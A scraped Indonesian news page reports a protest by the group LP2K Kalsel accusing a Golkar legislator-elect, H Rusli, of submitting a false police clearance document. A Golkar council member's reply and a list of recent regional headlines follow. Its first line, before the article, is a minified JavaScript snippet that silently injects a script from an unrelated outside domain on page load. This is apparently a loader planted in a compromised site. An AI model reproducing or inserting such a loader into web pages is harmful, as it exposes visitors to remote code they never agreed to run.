(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Massa dari LP2K Soroti Caleg Terpilih Diduga Membuat Keterangan Palsu


BANJARMASIN, Massa yang menamakan dirinya Lembaga Pengawas Pelapor Korupsi (LP2K) Kalsel mendatangi DPRD Kalsel, Senin (22/7), meminta wakil rakyat mengusut dugaan membuat keterangan palsu ke dalam data otentik yang diduga dilakukan calon anggota terpilih DPRD Provinsi Kalsel hasil Pileg 2019 lalu.

LP2K Kalsel menudung calon anggota terpilih DPRD Kalsel dari Partai Golkar yaitu H Rusli diduga memasukkan keterangan palsu ke dalam data otentik yang dijadikan persyaratan sebagai calon anggota legislatif.

Berdasarkan data LP2K Kalsel, keterangan yang dianggap palsu tersebut ialah surat keterangan catatan kepolisian (SKCK) nomor : CKCK/3953/VIV/ YAN.2.3/2018/ SAT INTELKAM yang isinya tidak pernah terpidana yang dikeluarkan Pengadilan Negeri Martapura Kelas 1 B, tertanggal 8 Juli 2018.

Hal ini diduga telah memasukkan keterangan palsu ke dalam data otentik mengingat H Rusli pernah melakukan tindak pidana illegal loging yang putusannya sudah mempunyai kekuatan hukum tetap dari Mahkamah Agung.

Iwansyah, koordinator aksi massa dari LP2K Kalsel meminta, wakil rakyat di DPRD Kalsel agar menindaklanjuti hal tersebut, sekaligus mengklarifikasi terhadap data-data pencalegan.

Hal-hal itu kata ia akan menjadi masalah di belakang hari, dimana sebagai anggota dewan harusnya menjadi contoh dan panutan untuk rakyat bukan malah sebaliknya. “Kami berharap tuntutan ini tidak hanya sampai di sini bisa diselesaikan oleh anggota dewan,” tuturnya.

Menanggapi hal tersebut, Anggota Komisi II DPRD Kalsel dari Partai Golkar Puar Junaidi menyampaikan sebagai anggota dewan punya kewenangan secara politis tetapi secara teknis adalah wewenang penyidikan.  “Dewan sifatnya menyerap, menampung aspirasi masyarakat, ranah tersebut sudah masuk penyidikan,” bebernya.

Sebagai bentuk fungsi kontrol anggota DPRD dirinya akan menyampaikan aspirasi tersebut ke aparat yang berwenang. “Kewenangan ini sektornya aparat penegak hukum, kita akan sampaikan ke pimpinan sesegeranya disampaikan kepada pihak kepolisian maupun kejaksaan,” sambungnya.

“Proses ilegal bukan kewenangan, dewan hanya memfasilitasi aparat berwenang,” tandasnya.

Ia meminta LP2K agar berhati-hati dalam penggunaan bahasa. “Dalam proses kata palsu berbeda dengan ilegal, bisa saja data itu asli namun mendapatkannya secara ilegal, tetapi bukan berarti palsu,” paparnya. (mario)

Reporter: Mario
Editor: Bie

Desy Arfianty

Recent Posts

Kabur saat Diperiksa di Kejari Banjar, Akhirnya Polisi Tangkap Kades P di Tanbu

KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More

10 jam ago

BPBD Banjarmasin Catat Dua Kebakaran dalam Sehari

KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More

10 jam ago

Jembatan Guntung Manggis – Trikora Sudah Dilintasi, Dishub Kalsel Masih Kaji Rekayasa Lalin

KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More

11 jam ago

Diprediksi 3 Juta Lebih Jemaah Ikuti Rutin Malam Senin 5 Rajab di Sekumpul

Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More

11 jam ago

Bawa Sabu 49 Gram, Dua Lelaki Ditangkap di Pemurus Luar

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More

1 hari ago

Parkir Inap Kawasan Bandara Syamsudin Noor Meningkat saat Libur Nataru

KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More

1 hari ago

This website uses cookies.